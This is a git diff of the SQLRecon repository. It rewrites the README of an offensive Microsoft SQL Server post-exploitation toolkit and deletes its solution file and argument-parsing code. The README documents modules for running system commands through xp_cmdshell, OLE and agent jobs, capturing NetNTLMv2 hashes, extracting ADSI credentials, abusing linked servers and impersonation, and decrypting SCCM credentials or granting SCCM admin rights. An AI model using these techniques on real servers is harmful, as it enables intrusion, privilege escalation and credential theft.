diff --git a/README.md b/README.md index 0c66cde..44397f6 100644 --- a/README.md +++ b/README.md @@ -1,155 +1,429 @@ +   +[![licence badge]][licence] +[![wiki Badge]][wiki] +[![stars badge]][stars] +[![forks badge]][forks] +[![issues badge]][issues] + +[licence badge]:https://img.shields.io/badge/License-BSD_3--Clause-blue.svg +[stars badge]:https://img.shields.io/github/stars/skahwah/SQLRecon.svg +[forks badge]:https://img.shields.io/github/forks/skahwah/SQLRecon.svg +[issues badge]:https://img.shields.io/github/issues/skahwah/SQLRecon.svg +[wiki badge]:https://img.shields.io/badge/SQLRecon-Wiki-green.svg + +[licence]:https://github.com/skahwah/SQLRecon/blob/main/LICENSE +[stars]:https://github.com/skahwah/SQLRecon/stargazers +[forks]:https://github.com/skahwah/SQLRecon/network +[issues]:https://github.com/skahwah/SQLRecon/issues +[wiki]:https://github.com/skahwah/SQLRecon/wiki + # SQLRecon -## Description -A C# MS-SQL toolkit designed for offensive reconnaissance and post-exploitation. For detailed usage information on each technique, refer to the wiki. +**Version 3.3 will be released on Aug 10, 2023, stay tuned ...** + +In the meantime, please check out my blog post on the IBM Security Intelligence website. + +

+ +

+ +SQLRecon is a Microsoft SQL Server toolkit that is designed for offensive reconnaissance and post-exploitation. For detailed information on how to use each technique, refer to the wiki. -# Usage -You can grab a copy of SQLRecon from the [releases](https://github.com/skahwah/SQLRecon/releases) page. Alternatively, feel free to compile the solution yourself This should be as straight forward as cloning the repo, double clicking the solution file and building. +Prevention, detection and mitigation guidance has also been provided for all you defenders out there. + +# Overview + +You can download a copy of SQLRecon from the [releases](https://github.com/skahwah/SQLRecon/releases) page. Alternatively, feel free to compile the solution yourself. This should be as straight forward as cloning the repo, double clicking the solution file and building. ## Enumeration -SQLRecon supports enumeration of Active Directory for MSSQL SPNs, akin to [PowerUpSQL's](https://github.com/NetSPI/PowerUpSQL) `Get-SQLInstanceDomain`. -* -e - Enumeration Type - * domain -d DOMAIN | (OPTIONAL) Domain FQDN - Use the current users token to enumerate AD for MSSQL SPNs. +SQLRecon supports enumerating Active Directory for Server Principal Names (SPNs) that are associated with Microsoft SQL Server. + +Enumeration Modules (`/e:, /enum:`) do not require an authentication provider to be supplied. -## Mandatory Arguments +``` +SqlSpns - Use the current user token to enumerate the current AD domain for MSSQL SPNs + /d:, /domain: | (OPTIONAL) NETBIOS name (DOMAIN) or FQDN of domain (DOMAIN.COM) +``` -The mandatory arguments consist of an authentication type (either Windows, Local or Azure), connection parameters and a module. +## Authentication Providers -* -a - Authentication Type - * -a Windows - Use Windows authentication. This uses the current users token. - * -a Local - Use local authentication. This requires the credentials for a local database user. - * -a Azure - Use Azure AD domain username and password authentication. This requires the credentials for a domain user. +SQLRecon supports a diverse set of authentication providers to enable interacting with a Microsoft SQL Server. An authentication provider must be supplied (`/a:, /auth:`). -If the authentication type is Windows, then you will need to supply the following parameters. - * -s SERVERNAME - SQL server hostname - * -d DATABASE - (OPTIONAL) SQL server database name, defaults to 'master' - * -m MODULE - The module you want to use -If the authentication type is Local, then you will need to supply the following parameters. - * -d DATABASE - (OPTIONAL) SQL server database name, defaults to 'master' - * -u USERNAME - Username of local SQL user - * -p PASSWORD - Password of local SQL user - * -m MODULE - The module you want to use +``` +WinToken - Use the current users token to authenticate against the SQL database + /h:, /host: | SQL server hostname or IP + /database: | (OPTIONAL) SQL server database name, defaults to 'master' + /port: | (OPTIONAL) Defaults to 1433 -If the authentication type is Azure, then you will need to supply the following parameters. - * -d DATABASE - (OPTIONAL) SQL server database name, defaults to 'master' - * -r DOMAIN.COM - FQDN of Domain - * -u USERNAME - Username of domain user - * -p PASSWORD - Password of domain user - * -m MODULE - The module you want to use +WinDomain - Use AD credentials to authenticate against the SQL database + /h:, /host: | SQL server hostname or IP + /d:, /domain: | NETBIOS name (DOMAIN) or FQDN of domain (DOMAIN.COM) + /u:, /username: | Username for domain user + /p:, /password: | Password for domain user + /database: | (OPTIONAL) SQL server database name, defaults to 'master' + /port: | (OPTIONAL) Defaults to 1433 -There are cases where a MS SQL Server might not be listening on a standard TCP port. A good example is MS SQL failover clustering. If the authentication type is Windows or Local, you can optionally set a non-standard connection port by supplying the -r PORT flag. By default, SQLRecon will connect to a databases via TCP Port 1433. +Local - Use local SQL credentials to authenticate against the SQL database + /h:, /host: | SQL server hostname or IP + /u:, /username: | Username for local SQL user + /p:, /password: | Password for local SQL user + /database: | (OPTIONAL) SQL server database name, defaults to 'master' + /port: | (OPTIONAL) Defaults to 1433 + +AzureAD - Use Azure AD credentials to authenticate against the Azure SQL database + /h:, /host: | SQL server hostname or IP + /d:, /domain: | FQDN of domain (DOMAIN.COM) + /u:, /username: | Username for domain user + /p:, /password: | Password for domain user + /database: | (OPTIONAL) SQL server database name, defaults to 'master' + +AzureLocal - Use local SQL credentials to authenticate against the Azure SQL database + /h:, /host: | SQL server hostname or IP + /u:, /username: | Username for local SQL user + /p:, /password: | Password for local SQL user + /database: | (OPTIONAL) SQL server database name, defaults to 'master' + /port: | (OPTIONAL) Defaults to 1433 +``` + +There are cases where a Microsoft SQL Server might not be listening on a standard TCP port. Some examples are Microsoft SQL Server failover clustering, or dynamic TCP ports. SQLRecon supports setting non-standard connection port by supplying the port flag (`/port:`). By default, SQLRecon will connect to databases via TCP Port 1433. + +SQLRecon connects to the `master` database by default, however, this can be changed by supplying a custom database name via the database flag (`/database:`). + +Please note that the `AzureAD` authentication provider reqires that the Azure Active Directory Authentication Library (ADAL) or Microsoft Authentication Library (MSAL) exists on the system SQLRecon is executed from. This is for Azure Active Directory authentication and authorization functionality. ## Standard Modules -Standard modules are used to interact against a single MS SQL server. - -* info - Print information about the SQL Service -* query -o QUERY - Execute an arbitrary SQL query -* whoami - See what user you are logged in as, mapped as and what roles exist -* users - See what user accounts and groups can authenticate against the database -* databases - Show all databases present on the SQL server -* tables -o DATABASE - Show all tables in the database you specify -* search -o KEYWORD - Search column names within tables of the database you are connected to -* smb -o SHARE - Capture NetNTLMv2 hash -
↓ Command Execution (requires sysadmin role or similar) -* enablexp - Enable xp_cmdshell -* disablexp - Disable xp_cmdshell -* xpcmd -o COMMAND - Execute an arbitrary system command using xp_cmdshell -* enableole - Enable OLE Automation Procedures -* disableole - Disable OLE Automation Procedures -* olecmd -o COMMAND - Execute an arbitrary system command using OLE Automation Procedures -* enableclr - Enable Custom CLR Assemblies -* disableclr - Disable Custom CLR Assemblies -* clr -o DLLPATH -f FUNCTION - Load and execute a .NET assembly within a custom stored procedure -* agentstatus - Check to see if SQL agent is running and obtain jobs -* agentcmd -o COMMAND - Execute an arbitary system command + +Standard modules are executed against a single instance of Microsoft SQL server. Standard modules must be passed into the module flag (`/m:, /module:`). + +Modules starting with `[*]` require the sysadmin role or a similar privileged context. + +For detailed information on how to use each technique, refer to the wiki. + +``` +Info | Show information about the SQL server +Query /c:QUERY | Execute a SQL query +Whoami | Display what user you are logged in as, mapped as and what roles exist +Users | Display what user accounts and groups can authenticate against the database +Databases | Display all databases +Tables /db:DATABASE | Display all tables in the supplied database +Columns /db:DATABASE /table:TABLE | Display all columns in the supplied database and table +Rows /db:DATABASE /table:TABLE | Display the number of rows in the supplied database table +Search /keyword:KEYWORD | Search column names in the supplied table of the database you are connected to +Smb /rhost:UNC_PATH | Capture NetNTLMv2 hash +Impersonate | Enumerate user accounts that can be impersonated +Links | Enumerate linked SQL servers +CheckRpc | Obtain a list of linked servers and their RPC status +[*] EnableRpc /rhost:LINKED_HOST | Enable RPC and RPC out on a linked server +[*] DisableRpc /rhost:LINKED_HOST | Disable RPC and RPC out on a linked server +[*] EnableXp | Enable xp_cmdshell +[*] DisableXp | Disable xp_cmdshell +[*] XpCmd /c:COMMAND | Execute a system command using xp_cmdshell +[*] EnableOle | Enable OLE automation procedures +[*] DisableOle | Disable OLE automation procedures +[*] OleCmd /c:COMMAND | Execute a system command using OLE automation procedures +[*] EnableClr | Enable CLR integration +[*] DisableClr | Disable CLR integration +[*] Clr /dll:DLL /function:FUNCTION | Load and execute a .NET assembly in a custom stored procedure +[*] AgentStatus | Display if SQL agent is running and obtain agent jobs +[*] AgentCmd /c:COMMAND | Execute a system command using agent jobs +[*] Adsi /rhost:ADSI_SERVER_NAME /lport:LDAP_SERVER_PORT | Obtain cleartext ADSI credentials from a linked ADSI server +``` + +## Linked Modules + +Linked modules are executed on a linked Microsoft SQL server. + +All linked modules have the following minimum requirements: +- A linked SQL server must be specified (`/l:, /lhost:`). +- A linked module must be specified (`/m:, /module:`). + +Modules starting with `[*]` require the sysadmin role or a similar privileged context. + +For detailed information on how to use each technique, refer to the wiki. + +``` +lQuery /l:LINKED_HOST /c:QUERY | Execute a SQL query +lWhoami /l:LINKED_HOST | Display what user you are logged in as, mapped as and what roles exist +lUsers /l:LINKED_HOST | Display what user accounts and groups can authenticate against the database +lDatabases /l:LINKED_HOST | Display all databases +lTables /l:LINKED_HOST /db:DATABASE | Display all tables in the supplied database +lColumns /l:LINKED_HOST /db:DATABASE /table:TABLE | Display all columns in the supplied database and table +lRows /l:LINKED_HOST /db:DATABASE /table:TABLE | Display the number of rows in the supplied database and table +lSearch /l:LINKED_HOST /db:DATABASE /keyword:KEYWORD | Search column names in the supplied table of the database you are connected to +lSmb /l:LINKED_HOST /rhost:UNC_PATH | Capture NetNTLMv2 hash +lLinks /l:LINKED_HOST | Enumerate linked SQL servers on a linked SQL server +lCheckRpc /l:LINKED_HOST | Obtain a list of linked servers on the linked server and their RPC status +[*] lEnableXp /l:LINKED_HOST | Enable xp_cmdshell +[*] lDisableXp /l:LINKED_HOST | Disable xp_cmdshell +[*] lXpCmd /l:LINKED_HOST /c:COMMAND | Execute a system command using xp_cmdshell +[*] lEnableOle /l:LINKED_HOST | Enable OLE automation procedures +[*] lDisableOle /l:LINKED_HOST | Disable OLE automation procedures +[*] lOleCmd /l:LINKED_HOST /c:COMMAND | Execute a system command using OLE automation procedures +[*] lEnableClr /l:LINKED_HOST | Enable CLR integration +[*] lDisableClr /l:LINKED_HOST | Disable CLR integration +[*] lClr /l:LINKED_HOST /dll:DLL /function:FUNCTION | Load and execute a .NET assembly in a custom stored procedure +[*] lAgentStatus /l:LINKED_HOST | Display if SQL agent is running and obtain agent jobs +[*] lAgentCmd /l:LINKED_HOST /c:COMMAND | Execute a system command using agent jobs +[*] lAdsi /l:LINKED_HOST /rhost:ADSI_SERVER_NAME /lport:LDAP_SERVER_PORT | Obtain cleartext ADSI credentials from a double-linked ADSI server +``` ## Impersonation Modules -Impersonation modules are used to interact against a single MS SQL server, under the context of an impersonated SQL user. -* impersonate - Enumerate any user accounts that can be impersonated -* iwhoami -i IMPERSONATEUSER - See what user you are logged in as, mapped as and what roles exist -* iusers -i IMPERSONATEUSER - See what user accounts and groups can authenticate against the database -* iquery -i IMPERSONATEUSER -o QUERY - Execute an arbitrary SQL query as an impersonated user -
↓ Command Execution (requires sysadmin role or similar) -* ienablexp -i IMPERSONATEUSER - Enable xp_cmdshell -* idisablexp -i IMPERSONATEUSER- Disable xp_cmdshell -* ixpcmd -i IMPERSONATEUSER -o COMMAND - Execute an arbitrary system command using xp_cmdshell -* ienableole -i IMPERSONATEUSER - Enable OLE Automation Procedures -* idisableole -i IMPERSONATEUSER - Disable OLE Automation Procedures -* iolecmd -i IMPERSONATEUSER -o COMMAND - Execute an arbitrary system command using OLE Automation Procedures -* ienableclr - Enable Custom CLR Assemblies -* idisableclr - Disable Custom CLR Assemblies -* iclr -o DLLPATH -f FUNCTION - Load and execute a .NET assembly within a custom stored procedure -* iagentstatus -i IMPERSONATEUSER - Check to see if SQL agent is running and obtain jobs -* iagentcmd -i IMPERSONATEUSER -o COMMAND - Execute an arbitary system command - -## Linked SQL Server Modules -Linked SQL Server modules are effective when you are able to interact with a linked SQL server via an established connection. -* links - Enumerate any linked SQL servers -* lquery -l LINKEDSERVERNAME -o QUERY - Execute an arbitrary SQL query on the linked SQL server -* lwhoami -l LINKEDSERVERNAME - See what user you are logged in as on the linked SQL server -* lusers -l LINKEDSERVERNAME - See what user accounts and groups can authenticate against the database on the linked SQL server -* ldatabases -l LINKEDSERVERNAME - Show all databases present on the linked SQL server -* ltables -l LINKEDSERVERNAME -o DATABASE - Show all tables in the supplied database on the linked SQL server -* lsmb -l LINKEDSERVERNAME -o SHARE - Capture NetNTLMv2 hash from linked SQL server -
↓ Command Execution (requires sysadmin role or similar) -* lenablerpc -l LINKEDSERVERNAME - Enable RPC and RPC out on a linked SQL server -* ldisablerpc -l LINKEDSERVERNAME - Disable RPC and RPC out on a linked SQL server -* lenablexp -l LINKEDSERVERNAME - Enable xp_cmdshell on the linked SQL server -* ldisablexp -l LINKEDSERVERNAME - Disable xp_cmdshell on the linked SQL server -* lxpcmd -l LINKEDSERVERNAME -o COMMAND - Execute an arbitrary system command using xp_cmdshell on the linked SQL server -* lenableole -l LINKEDSERVERNAME - Enable OLE Automation Procedures on the linked SQL server -* ldisableole -l LINKEDSERVERNAME - Disable OLE Automation Procedures on the linked SQL server -* lolecmd -l LINKEDSERVERNAME -o COMMAND - Execute an arbitrary system command using OLE Automation Procedures on the linked SQL server -* lenableclr -l LINKEDSERVERNAME - Enable Custom CLR Assemblies on the linked SQL server -* ldisableclr -l LINKEDSERVERNAME - Disable Custom CLR Assemblies on the linked SQL server -* lclr -o DLLPATH -f FUNCTION - Load and execute a .NET assembly within a custom stored procedure on the linked SQL server -* lagentstatus -l LINKEDSERVERNAME - Check to see if SQL agent is running and obtain jobs on the linked SQL server -* lagentcmd -l LINKEDSERVERNAME -o COMMAND - Execute an arbitrary system command on the linked SQL server - -## Examples -See the wiki. for detailed examples. - -## Roadmap -The below techniques are on the roadmap for future releases -* Expand enumeration modules + +Impersonation modules are executed against a single instance of Microsoft SQL server, under the context of an impersonated SQL user. + +All impersonation modules have the following minimum requirements: +- An impersonation user must be specified (`/i:, /iuser:`). +- An impersonation module must be specified (`/m:, /module:`). + +Modules starting with `[*]` require the sysadmin role or a similar privileged context. + +For detailed information on how to use each technique, refer to the wiki. + +``` +iQuery /i:IMPERSONATE_USER /c:QUERY | Execute a SQL query +iWhoami /i:IMPERSONATE_USER | Display what user you are logged in as, mapped as and what roles exist +iUsers /i:IMPERSONATE_USER | Display what user accounts and groups can authenticate against the database +iDatabases /i:IMPERSONATE_USER | Display all databases +iTables /i:IMPERSONATE_USER /db:DATABASE | Display all tables in the supplied database +iColumns /i:IMPERSONATE_USER /db:DATABASE /table:TABLE | Show all columns in the database and table you specify +iRows /i:IMPERSONATE_USER /db:DATABASE /table:TABLE | Display the number of rows in the database and table you specify +iSearch /i:IMPERSONATE_USER /keyword:KEYWORD | Search column names in the supplied table of the database you are connected to +iLinks /i:IMPERSONATE_USER | Enumerate linked SQL servers +iCheckRpc /i:IMPERSONATE_USER | Obtain a list of linked servers and their RPC status +[*] iEnableRpc /i:IMPERSONATE_USER /rhost:LINKED_HOST | Enable RPC and RPC out on a linked server +[*] iDisableRpc /i:IMPERSONATE_USER /rhost:LINKED_HOST | Disable RPC and RPC out on a linked server +[*] iEnableXp /i:IMPERSONATE_USER | Enable xp_cmdshell +[*] iDisableXp /i:IMPERSONATE_USER | Disable xp_cmdshell +[*] iXpCmd /i:IMPERSONATE_USER /c:COMMAND | Execute a system command using xp_cmdshell +[*] iEnableOle /i:IMPERSONATE_USER | Enable OLE automation procedures +[*] iDisableOle /i:IMPERSONATE_USER | Disable OLE automation procedures +[*] iOleCmd /i:IMPERSONATE_USER /c:COMMAND | Execute a system command using OLE automation procedures +[*] iEnableClr /i:IMPERSONATE_USER | Enable CLR integration +[*] iDisableClr /i:IMPERSONATE_USER | Disable CLR integration +[*] iClr /i:IMPERSONATE_USER /dll:DLL /function:FUNCTION | Load and execute a .NET assembly in a custom stored procedure +[*] iAgentStatus /i:IMPERSONATE_USER | Display if SQL agent is running and obtain agent jobs +[*] iAgentCmd /i:IMPERSONATE_USER /c:COMMAND | Execute a system command using agent jobs +[*] iAdsi /i:IMPERSONATE_USER /rhost:ADSI_SERVER_NAME /lport:LDAP_SERVER_PORT | Obtain cleartext ADSI credentials from a linked ADSI server +``` + +## SCCM Modules + +SQLRecon has several modules that can assist with enumerating and attacking Microsoft System Center Configuration Manager (SCCM) and Microsoft Endpoint Configuration Manager (ECM). + +SCCM modules must be passed into the module flag (`/m:, /module:`). + +SCCM and ECM will need to have a Microsoft SQL database exposed either locally or remotely. + +Modules starting with `[*]` require the sysadmin role or a similar privileged context. + +For detailed information on how to use each technique, refer to the wiki. + +``` +sUsers | Display all SCCM users +sSites | Display all other sites with data stored +sLogons /option:OPTIONAL_FILTER | Display all associated SCCM clients and the last logged in user +sTaskList | Display all task sequences, but do not access the task data contents +sTaskData | Decrypt all task sequences to plaintext +sCredentials | Display encrypted credentials vaulted by SCCM +[*] sDecryptCredentials | Attempt to decrypt recovered SCCM credential blobs. Must be ran in a high-integrty or SYSTEM process on an SCCM server +[*] sAddAdmin /user:DOMAIN\USERNAME /sid:SID | This will elevate a supplied account to a 'Full Administrator' in SCCM +[*] sRemoveAdmin /user:ADMIN_ID /remove:REMOVE_STRING | Removes privileges of a user, or remove a user entirely from the SCCM database +``` + +The table below contains additional information for each SCCM module: + +| Module | Description | +| ------ | ----------- | +| sUsers | Lists all users in the `RBAC_Admins` table. These are all users configured for some level of access to SCCM. | +| sSites | Lists all other sites with data stored in the SCCM databases' `DPInfo` table. This can provide additional attack avenues as different sites can be configured in different (insecure) ways. | +| sLogons | Queries the `Computer_System_DATA` table to retrieve all associated SCCM clients along with the user that last logged into them. NOTE:b> This only updates once a week by default and will not be 100% up to date. Use `/option:` as an optional (not required) argument to filter SCCM clients. | +| sTaskList | Provides a list of all task sequences stored in the SCCM database, but does not access the actual task data contents. | +| sTaskData | Recovers all task sequences stored in the SCCM database and decrypts them to plaintext. Task sequences can contain credentials for joining systems to domains, mapping shares, running commands, etc. | +| sCredentials | Lists credentials vaulted by SCCM for use in various functions. These credentials can not be remotely decrypted as the key is stored on the SCCM server. However, this module provides intel on if it makes sense to attempt to obtain the key. | +| sDecryptCredentials | Attempt to decrypt recovered SCCM credential blobs. This module must be ran in a high-integrty or SYSTEM process on an SCCM server. | +| sAddAdmin | This module will elevate the specified account to a 'Full Administrator' within SCCM. If target user is already an SCCM user, this module will instead add necessary privileges to elevate. Provide two arguments, either `/user:current /sid:current` if seeking to add the user currently executing the SQLRecon process as a 'Full Administrator' in SCCM. If seeking to add another user as a 'Full Administrator' in SCCM, specify their domain user name and full SID `/user:DOMAIN\USERNAME /sid:S-1-5-...`. This module require sysadmin or similar privileges as writing to SCCM database tables is required. | +| sRemoveAdmin | This modlue removes the privileges of a user by removing a newly added user entirely from the SCCM database. If the user already existed in some capacity this module just removes the three roles that were added to the account via writes to the permission table. Use the arguments provided by output of the `sAddAdmin` command to run this command. This module require sysadmin or similar privileges as writing to SCCM database tables is required. | + +## Extending SQLRecon + +If you are interested in extending SQLRecon, refer to the write up in the wiki. ## History +
-v2.2.2 +v3.3 -* Fixed checking RPC status on linked SQL servers. +* Created `rows`, `iRows` and `lRows` modules. +* Updated `sLogons` to include an optional filter. +* Bug fix where `xp_cmdshell` modules were not printing command output to console. +* Cleaned up Help menu. +
+ +
+v3.2 + +* Command line argument parsing overhaul. +* Updated README, test cases and wiki with new examples. +* Reworked enumeration and authentication based argument parsing. +* Created `SetEnumerationType.cs`. +* Changed enumeration module `domain` to `SqlSpns`. +
+ +
+v3.1 + +* Changed `SetAuthenticationType.cs` constructor to a new method called `EvaluateAuthenticationType`. +* Created `CreateSqlConnectionObject` in `SetAuthenticationType.cs` which extends SQLRecon to support multiple simultaneous SQL connection objects. +* Created `ADSI.cs`, which incorporates ADSI credential attacks as described [here](https://www.tarlogic.com/blog/linked-servers-adsi-passwords/). +* Created `adsi`, `iAdsi`, and `lAdsi` modules. +* Created `lLinks` and `iLinks` modules. +* Updated README, test cases and wiki with new examples. +
+ +
+v3.0 + +* Implemented error checking for non-existant impersonated users. +* Created `ExecuteImpersonationQuery` and `ExecuteImpersonationCustomQuery`. +* Deleted `Impersonate.cs` +* Added `checkRpc` module. +* Added `iCheckRpc` module. +* Added `lCheckRpc` module. +* Reworked SCCM modules. +* Reworked SCCM argument parsing. +* Camel cased commands in help menu for easier reading. +* Updated tests with new modules.
-v2.2.1 +v2.9 + +* Renamed `EnableDisable.cs` to `ConfigureOptions.cs` +* Overhauled advanced option configurations. +* Implemented RPC error checking wherever `ExecuteLinkedCustomQueryRpcExec` is called. +
+ +
+v2.8 + +* Created` PrintUtils.cs`, which implements a print class for standardized output. +* Moved `TablePrinter` from `Help.cs` to `PrintUtils.cs`. +* Standardized print formatting for all console output using the `PrintUtils` class. +* Changed access modifiers for classes and class variables. +* Added check to see if result is empty for: + * `query` + * `search` + * `tables` + * `lColumns` + * `lQuery` + * `lSearch` + * `lTables` + * `iColumns` + * `iQuery` + * `iSearch` +* Signifiant reliability and functionality testing against all authentication providers and modules. +
+ +
+v2.7 + +* Changed `Azure` authentication to `AzureAD`. +* Created `AzureLocal` authentication. +* Added `disableRpc` module. +* Added `enableRpc` module. +* Added `iEnableRpc` module. +* Added `iDisableRpc` module. +* Removed `lEnableRpc` module. +* Removed `lDisbleRpc` module. +* Updated tests with new modules. +
+ +
+v2.6.1 + +* `lAgentCmd` bug fixes. +* Fixed `clr`, `iClr` and `lClr` stability by using `SqlCommand.ExecuteNonQuery` when creating the stored procedure. +* Fixed `lClr` bug where it was not removing created assemblies or stored procedures. +
-* Added the capability to download .NET assemblies via HTTP/S +
+v2.6 + +* Added `columns` module. +* Added `iColumns` module. +* Added `iDatabases` module. +* Added `iSearch` module. +* Added `iTables` module. +* Added `lColumns` module. +* Added `lSearch` module. +
+ +
+v2.5 + +* Various bug fixed in the SCCM modules. +* Organized the help menu using a table. +* Improved the output provided by `ExecuteLinkedCustomQueryRpcExec`. +* Improved code commenting through out. +* Improved consistency of method names across command execution functions. +* Improved modularity through better use of object oriented programming. +* Changed custom SQL server port flag to `x`. +* Moved `Random.cs` into `utilities` directory. +* Standardized the printing style to make it more consistent across all modules. +* Created standard, impersonation and linked test harnesses. +
+ +
+v2.4 + +* Changed `Windows` authentication to `WinToken`. +* Created `WinDomain` authentication, which uses AD domain username and password for authentication via impersonation. Check out `Impersonation.cs`. +* Reworked argument parsing and handling across `ArgumentLogic.cs`,` SQLAuthentication.cs` and `ModuleHandler.cs`. +* `ModuleHandler.cs` no longer uses a massive if/else if/else statement to execute modules. Instead, reflection is now used to call methods matching command modules names. +* Added `commands` directory, which has global variables that are used throughout the program. +* Rolled all authentication providers into `SQLAuthentication.cs`. +* Moved argument parsing from `Program.cs` to `ArgumentLogic.cs`. +* Removed the `authentication` directory. +* Changed code style to better follow [Microsoft's C#/.NET style code style guide](https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/coding-style/coding-conventions). +* Changed `Help.cs` from a method into a constructor. +* Changed `CaptureHash.cs` from a method into a constructor. +* Changed `Impersonate.cs` from a method into a constructor. +* Re-factored complete code base. +
+ +
+v2.3 + +* Added SCCM functionality. +* Added SCCM modules, which can be executed using the `sccm` command. +* Fixed checking RPC status on linked SQL servers. +* Added the capability to download .NET assemblies via HTTP/S.
v2.2 -* Expanded roles which are queried in the roles, iroles and lroles modules -* Created users, iusers and lusers modules -* Fixed hash not being dropped from sp_drop_trusted_assembly in clr and iclr modules -* Created lagentcmd module -* Created lclr module +* Expanded roles which are queried in the `roles`, `iRoles` and `lRoles` modules. +* Created `users`, `iUsers` and `lUsers` modules. +* Fixed hash not being dropped from `sp_drop_trusted_assembly` in `clr` and `iClr` modules. +* Created `lAgentCmd` module. +* Created `lClr` module.
v2.1.6 -* Added 'info' module, '-m info'. -* Corrections in Help.cs. -* Resolved issues with mandatory arguments with Local and Azure authentication. +* Added `info` module. +* Corrections in help menu. +* Resolved issues with mandatory arguments with `Local` and `Azure` authentication.
v2.1.5 -* Added option to enumerate domain SPNs (-e domain). +* Added module to enumerate domain SPNs (`-e domain`).
@@ -161,78 +435,78 @@ The below techniques are on the roadmap for future releases
v2.1.3 -* Added '-r' flag into Windows and Local authentication modes so that non-standard TCP ports can be supplied. +* Added `-r` flag into `Windows` and `Local` authentication modes so that non-standard TCP ports can be supplied.
v2.1.2 -* Improved logic around null connection strings +* Improved logic around null connection strings.
v2.1.1 -* Removed Environment.Exit from TestAuthentication.cs +* Removed `Environment.Exit` from `TestAuthentication.cs`.
v2.1 -* Created AgentJobs.cs -* Created agentstatus -* Created iagentstatus -* Created lagentstatus -* Created agentcmd -* Created iagentcmd +* Created `AgentJobs.cs`. +* Created `agentStatus`. +* Created `iAgentStatus`. +* Created `lAgentStatus`. +* Created `agentCmd`. +* Created `iAgentCmd`.
v2.0 -* Created clr -* Created ienableclr -* Created idisbleclr -* Created iclr -* Created iwhoami -* Created imapped -* Created iroles -* Created lenablerpc -* Created ldisablerpc -* Created lwhoai -* Created lenablexp -* Created ldisablexp -* Created lenableole -* Created ldisableole -* Created lenableclr -* Created ldisableclr -* Created lxpcmd -* Created lxpole -* Created Random.cs -* Created EnableDisable.cs -* Implemented randomly generated assembly names for clr -* Implemented randomly generated variable and method names for ole -* Rolled 'mapped' and 'roles' modules into 'whoami' -* Rolled 'lmapped' and 'lroles' modules into 'lwhoami' -* Rolled 'imapped' and 'iroles' modules into 'iwhoami' -* Re-factored complete code base +* Created `clr`. +* Created `iEnableClr`. +* Created `iDisbleClr`. +* Created `iClr`. +* Created `iWhoami`. +* Created `iMapped`. +* Created `iRoles`. +* Created `lEnableRpc`. +* Created `lDisableRpc`. +* Created `lWhoai`. +* Created `lEnableXp`. +* Created `lDisableXp`. +* Created `lEnableOle`. +* Created `lDisableOle`. +* Created `lEnableClr`. +* Created `lDisableClr`. +* Created `lXpCmd`. +* Created `lXpOle`. +* Created `Random.cs`. +* Created `EnableDisable.cs`. +* Implemented randomly generated assembly names for `clr`. +* Implemented randomly generated variable and method names for `ole`. +* Rolled `mapped` and `roles` modules into `whoami`. +* Rolled `lMapped` and `lRoles` modules into `lWhoami`. +* Rolled `iMapped` and `iRoles` modules into `iWhoami`. +* Re-factored complete code base.
v1.2 -* Created lsmb module -* Created lwhoami module -* Created lroles module +* Created `lSmb` module. +* Created `lWhoami` module. +* Created `lRoles` module.
v1.1 -* Fixed oldcmd module -* Fixed iolecmd module -* Fixed ldatabases module -* Fixed ltables module -* Cleaned up code base -* Corrected inconsistencies in help menu +* Fixed `oldCmd` module. +* Fixed `iOleCmd` module. +* Fixed `lDatabases` module. +* Fixed `lTables` module. +* Cleaned up code base. +* Corrected inconsistencies in help menu.
diff --git a/SQLRecon/SQLRecon.sln b/SQLRecon/SQLRecon.sln deleted file mode 100644 index 234b918..0000000 --- a/SQLRecon/SQLRecon.sln +++ /dev/null @@ -1,31 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.30907.101 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SQLRecon", "SQLRecon\SQLRecon.csproj", "{612C7C82-D501-417A-B8DB-73204FDFDA06}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Debug|x64 = Debug|x64 - Release|Any CPU = Release|Any CPU - Release|x64 = Release|x64 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|x64.ActiveCfg = Release|x64 - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|x64.Build.0 = Release|x64 - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|Any CPU.ActiveCfg = Release|Any CPU - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|Any CPU.Build.0 = Release|Any CPU - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|x64.ActiveCfg = Release|x64 - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Release|x64.Build.0 = Release|x64 - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {612C7C82-D501-417A-B8DB-73204FDFDA06}.Debug|Any CPU.Build.0 = Debug|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {1ADC0E55-2130-44AA-818E-BC8942683771} - EndGlobalSection -EndGlobal diff --git a/SQLRecon/SQLRecon/App.config b/SQLRecon/SQLRecon/App.config deleted file mode 100644 index 5754728..0000000 --- a/SQLRecon/SQLRecon/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/SQLRecon/SQLRecon/Program.cs b/SQLRecon/SQLRecon/Program.cs deleted file mode 100644 index ef20e0d..0000000 --- a/SQLRecon/SQLRecon/Program.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using System.Collections.Generic; -using SQLRecon.Modules; -using SQLRecon.Auth; - -namespace SQLRecon -{ - class Program - { - static void Main(string[] args) - { - try - { - //using hawksters dictionary technique to build an argument list - Dictionary argDict = ParseTheArguments(args); - - // print help if no arguments are supplieds - if ((args.Length > 0 && argDict.Count == 0) || argDict.ContainsKey("h")) - { - Help.Show(); - return; - } - - // this handles inspecting the arguments, selecting the right modules and executing them - ArgumentLogic ArgumentLogic = new ArgumentLogic(); - ArgumentLogic.AuthenticationType(argDict); - } - catch (NullReferenceException) - { - - } - } // end main - - // ParseTheArguments - public static Dictionary ParseTheArguments(string[] args) - { - try - { - Dictionary ret = new Dictionary(); - if (args.Length % 2 == 0 || args.Length % 3 == 0 && args.Length > 0) - { - for (int i = 0; i < 